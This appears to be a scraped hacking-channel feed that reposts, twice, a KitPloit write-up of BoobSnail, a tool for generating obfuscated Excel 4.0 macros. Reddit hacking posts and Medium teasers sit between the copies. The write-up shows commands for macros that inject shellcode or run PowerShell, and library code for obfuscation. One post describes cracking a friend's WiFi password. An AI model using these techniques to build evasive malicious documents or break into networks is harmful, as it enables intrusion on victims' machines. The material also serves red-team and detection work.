BoobSnail - Allows Generating Excel 4.0 XLM Macro
http://www.kitploit.com/2021/09/boobsnail-allows-generating-excel-40.html

___________________________
@hacking_Attack
@Hacking_Video

Building and Running
Tested on: Python 3.8.7rc1 | ) \_\ \/ \ | \/ __ \| | |__ |___ /\____/ \____/|___ /_______ /___| (____ /__|____/ \/ \/ \/ \/ \/ Author: @_mzer0 @stm_cyber (...) ">pip install -r requirements.txt
python boobsnail.py
___. ___. _________ .__.__
\_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
| __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
| \_\ ( | ) \_\ \/ \ | \/ __ \| | |__
|___ /\____/ \____/|___ /_______ /___| (____ /__|____/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(...)

Generators usage
-h ">python boobsnail.py -h
To display available generators type: python boobsnail.py

Examples
Generate obfuscated macro that injects x64 or x86 shellcode: --inputx64 --out boobsnail.csv ">python boobsnail.py Excel4NtDonutGenerator --inputx86 --inputx64 --out boobsnail.csv
Generate obfuscated macro that runs calc.exe: python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv

Saving output in Excel
Dump output to CSV file. Copy content of CSV file. Run Excel and create a new worksheet. Add new Excel 4.0 Macro (right-click on Sheet1 -> Insert -> MS Excel 4.0 Macro). Paste the content in cell A1 or R1C1. Click Data -> Text to Columns. Click Next -> Set Semicolon as separator and click Finish.
Library usage
BoobSnail shares the excel4lib library that allows creating your own Excel4 macro generator. excel4lib contains few classes that could be used during writing generator: excel4lib.macro.Excel4Macro - allows to defining Excel4 formulas, values variables; excel4lib.macro.obfuscator.Excel4Obfuscator - allows to obfuscate created instructions in Excel4Macro; excel4lib.lang.Excel4Translator - allows translating formulas to another language. The main idea of this library is to represent Excel4 formulas, variables, formulas arguments, and values as python objects. Thanks to that you are able to change instructions attributes such as formulas or variables names, values, addresses, etc. in an easy way. For example, let's create a simple macro that runs calc.exe from excel4lib.macro import *
# Create macro object
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv()) Result: cmd="calc.exe";
=EXEC(cmd);
Now let's say that you want to obfuscate your macro. To do this you just need to import obfuscator (https://www.kitploit.com/search/label/Obfuscator) and pass it to the Excel4Macro object: from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv()) For now excel4lib shares two obfuscation classes: excel4lib.macro.obfuscator.Excel4Obfuscator uses Excel 4.0 functions such as BITXOR, SUM, etc to obfuscate your macro; excel4lib.macro.obfuscator.Excel4Rc4Obfuscator uses RC4 encryption (https://www.kitploit.com/search/label/Encryption) to obfusacte formulas. As you can see you can write your own obfuscator class and use it in Excel4Macro. Sometimes you will need to translate your macro to another language for example your native language, in my case it's Polish. With excel4lib it's pretty easy. You just need to import Excel4Translator class and call set_language from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Change language
Excel4Translator.set_language("pl_PL")
# Create macro object

___________________________
@hacking_Attack
@Hacking_Video

macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv()) Result: cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);
For now, only the English and Polish language is supported. If you want to use another language you need to add translations in the excel4lib/lang/langs directory. For sure, you will need to create a formula that takes another formula as an argument. You can do this by using Excel4Macro.argument function. from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
macro.formula("EXEC", exec_arg)
# Dump to CSV
print(macro.to_csv()) Result: cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));
As you can see ".exe" string was passed to CONCATENATE formula as R2C1. R2C1 is address of ".exe" value (ROW number 2 and COLUMN number 1). excel4lib returns references to formulas, values as addresses. References to variables are returned as their names. You probably noted that Excel4Macro class adds formulas, variables, values to the worksheet automaticly in order in which these objects are created and that the start address is R1C1. What if you want to place formulas in another column or row? You can do this by calling Excel4Macro.set_cords function. from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Column 1
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Column 2
# Change cords to columns 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
exec_call = macro.formula("EXEC", exec_arg)
# Column 1
# Back to column 1. Change cords to column 1 and row 3
macro.set_cords(1,3)
# GOTO EXEC call
macro.goto(exec_call)
# Dump to CSV
print(macro.to_csv()) Result: cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;

Author
mzer0 (https://twitter.com/_mzer0) from stm_cyber (https://twitter.com/stm_cyber) team!
Articles
The first step in Excel 4.0 for Red Team (https://blog.stmcyber.com/excel-4-0-for-red-team/) BoobSnail - Excel 4.0 macro generator (https://blog.stmcyber.com/boobsnail-excel-4-0-macro-generator/)

Download Boobsnail (https://github.com/STMSolutions/boobsnail)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Unable to spoof my Mac Address from a previously connected network

Hi there,

So I've got stuck in a part of the process of spoofing my MAC address , it should be normally OK , but it seems that there is a factor that I'm not having into consideration here.

So I'm disconnecting my wireless device to give it a new mac address , to then connect it back again to the same network I was connected before.

sudo nmcli dev disconnect wlp1s0 interface=wlp1s0 sudo ifconfig $interface down macchanger -r $interface sudo ifconfig $interface up

That gives me a new MAC address , if I check this command I see a new address

ip addr show dev wlp1s0 | grep ether | awk '{print $2}'

Problem is when I connect to the network I was connected before (even deleting the network from nmcli) it will pop up the same old MAC address

``` nmcli dev wifi connect "MyAP"

```

Anyone knows what I'm doing wrong?

Thank you

submitted by /u/brohermano
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hardware for password-cracking

Hello dear people

I am pretty new with hacking so still quite a noob - as many others (I guess) I have begun with hacking wifi. I think it’s pretty fun but it takes forever. How long does it take other people in here to go through the rockyou.txt? My old laptop says 7 hours and it almost burst into 🔥 will it help to get access to a pc with a gpu? I am using aircrack. I have also tried to use the head-command on rockyou to get the 10.000 most used passwords but no cigar. Is there a more compact list with a good successrate I should know? Or maybe a smarter method to go about it. My friend didn’t think I could get into his wifi - he dared me, but I got the handshake before leaving. Maybe it’s because he has a very long password. What cpu+gpu should I get if I want to scan rockyou.txt in under 30min ?? Thanks

submitted by /u/JarJarBonkers
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
American hacker mercenaries face U.S. charges for work in UAE

https://external-preview.redd.it/Oy_RC7ozoJ3VpGoeENlqVWN0I01FcOPR0UWJhSNl1xc.jpg?width=640&crop=smart&auto=webp&s=a3cc71a38fb3ccfc1f9288d67096392dcfb1bd75 submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Curated Resources for Learning Smart Contract Security

submitted by /u/Wolfram_George
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Looking for apps/services where I can call to international numbers with a US outbound phone number(s)

I am looking for apps or websites that I can use to call other countries but looking for those where my own number should not be displayed for eg: in Viber you can call anywhere with the credits but your actual number will be displayed, instead of this I want a US number to be displayed. I saw some services like this but they require a business mail but I don't have any. The outgoing number should be a US number. Any suggestions?

submitted by /u/alcatraz_ind
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What can I do to avoid being hacked/be less vulnerable?

I thinking of if I'm on an unsecured wifi router or one that I do not entirely trust. My main concern would be the owner of the router being able to get/gain access to my device. The only thing I can think with my limited knowledge in technology would be to use a VPN, but I'm not entirely sure how much that would help.

submitted by /u/teeleer
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
All About Hacking Conferences


Introduction

Continue reading on Medium »

Hacking on Medium
¡Ojo! No se ha lanzado y ya están estafando con el iPhone 13


PUBLICADO EN 14 SEPTIEMBRE, 2021POR EHACKING

Continue reading on Medium »

KitPloit - PenTest Tools!BoobSnail - Allows Generating Excel 4.0 XLM Macro





BoobSnail allows generating XLM (Excel 4.0) macro. Its purpose is to support the RedTeam and BlueTeam in XLM macro generation. Features:

* various infection techniques;
* various obfuscation techniques;
* translation of formulas into languages other than English;
* can be used as a library - you can easily write your own generator.



Building and Running

Tested on: Python 3.8.7rc1

pip install -r requirements.txt
python boobsnail.py
___. ___. _________ .__.__
\_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
| __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
| \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
|___ /\____/ \____/|___ /_______ /___| (____ /__|____/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(...)


Generators usage

python boobsnail.py -h


To display available generators type:

python boobsnail.py


Examples

Generate obfuscated macro that injects x64 or x86 shellcode:

python boobsnail.py Excel4NtDonutGenerator --inputx86 --inputx64 --out boobsnail.csv


Generate obfuscated macro that runs calc.exe:

python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv


Saving output in Excel

1. Dump output to CSV file.
2. Copy content of CSV file.
3. Run Excel and create a new worksheet.
4. Add new Excel 4.0 Macro (right-click on Sheet1 -> Insert -> MS Excel 4.0 Macro).
5. Paste the content in cell A1 or R1C1.
6. Click Data -> Text to Columns.
7. Click Next -> Set Semicolon as separator and click Finish.

Library usage

BoobSnail shares the excel4lib library that allows creating your own Excel4 macro generator. excel4lib contains few classes that could be used during writing generator:

* excel4lib.macro.Excel4Macro - allows to defining Excel4 formulas, values variables;
* excel4lib.macro.obfuscator.Excel4Obfuscator - allows to obfuscate created instructions in Excel4Macro;
* excel4lib.lang.Excel4Translator - allows translating formulas to another language.

The main idea of this library is to represent Excel4 formulas, variables, formulas arguments, and values as python objects. Thanks to that you are able to change instructions attributes such as formulas or variables names, values, addresses, etc. in an easy way. For example, let's create a simple macro that runs calc.exe

from excel4lib.macro import *
# Create macro object
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

Result:

cmd="calc.exe";
=EXEC(cmd);


Now let's say that you want to obfuscate your macro. To do this you just need to import obfuscator and pass it to the Excel4Macro object:

from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

For now excel4lib shares two obfuscation classes:

* excel4lib.macro.obfuscator.Excel4Obfuscator uses Excel 4.0 functions such as BITXOR, SUM, etc to obfuscate your macro;
* excel4lib.macro.obfuscator.Excel4Rc4Obfuscator uses RC4 encryption to obfusacte formulas.

As you can see you can write your own obfuscator class and use it in Excel4Macro.

Sometimes you will need t[...]

___________________________
@hacking_Attack
@Hacking_Video

o translate your macro to another language for example your native language, in my case it's Polish. With excel4lib it's pretty easy. You just need to import Excel4Translator class and call set_language

from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Change language
Excel4Translator.set_language("pl_PL")
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

Result:

cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);


For now, only the English and Polish language is supported. If you want to use another language you need to add translations in the excel4lib/lang/langs directory.

For sure, you will need to create a formula that takes another formula as an argument. You can do this by using Excel4Macro.argument function.

from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
macro.formula("EXEC", exec_arg)
# Dump to CSV
print(macro.to_csv())

Result:

cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));


As you can see ".exe" string was passed to CONCATENATE formula as R2C1. R2C1 is address of ".exe" value (ROW number 2 and COLUMN number 1). excel4lib returns references to formulas, values as addresses. References to variables are returned as their names. You probably noted that Excel4Macro class adds formulas, variables, values to the worksheet automaticly in order in which these objects are created and that the start address is R1C1. What if you want to place formulas in another column or row? You can do this by calling Excel4Macro.set_cords function.

from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Column 1
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Column 2
# Change cords to columns 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
exec_call = macro.formula("EXEC", exec_arg)
# Column 1
# Back to column 1. Change cords to column 1 and row 3
macro.set_cords(1,3)
# GOTO EXEC call
macro.goto(exec_call)
# Dump to CSV
print(macro.to_csv())

Result:

cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;


Author

mzer0 from stm_cyber team!

Articles

The first step in Excel 4.0 for Red Team

BoobSnail - Excel 4.0 macro generator



Download Boobsnail

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Whois Command Timing Out

I'm currently running a Kali Linux shell through WSL2 and cannot get my whois lookup to work.

Everytime I try it just returns "timeout"

I've tried the following:

+Using different domains +Using IPs +Specifying different whois servers +Creating a whois.conf file and populating it with various servers +sudo +Reinstalling the whois package +Restarting the machine

Everytime, no matter what IP/URL/Domain I query it times out. --verbose just tells me the server and address it is attempting to use. Am I crazy? Is there something I am missing?

submitted by /u/BigSpoonMcGee
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Anyone know where to find a copy of Backtrack (not Kali)?

I know it’s a long shot for sure, but my dad used to be a pen tester (Cisco Certified with Bachelor’s in 2005) and he was talking about Backtrack being his favorite OS from the time.

I’m going into the field at the moment and would love to play with the OS my dad used during CTF back in the day.

submitted by /u/Le_7r011
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Future of binary exploitation

Hello! I'm starting to learn about binary exploitation and 0day development. I have learned about stackoverflows, ASLR, DEP, stack cookies and so on... But then I came across this video:
https://www.youtube.com/watch?v=o_hk9nh8S1M
I was very motivated by the subject, but after watching that video, I really don't know if it is worth the effort to keep learning about this.
Do you think that memory corrumption techniques will disappear completely in the future? What about binary exploitation and 0day development in general? Will it completly disappear?
And by binary exploitation I mean this exploits that hackers use in chrome, ios, safari, etc. To gain remote code execution without user interaction.
Thanks.

submitted by /u/PuzzledWhereas991
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Base has been Pwned!


This is the final machine of the Starting Point category on Hack The Box.

Continue reading on Geek Culture »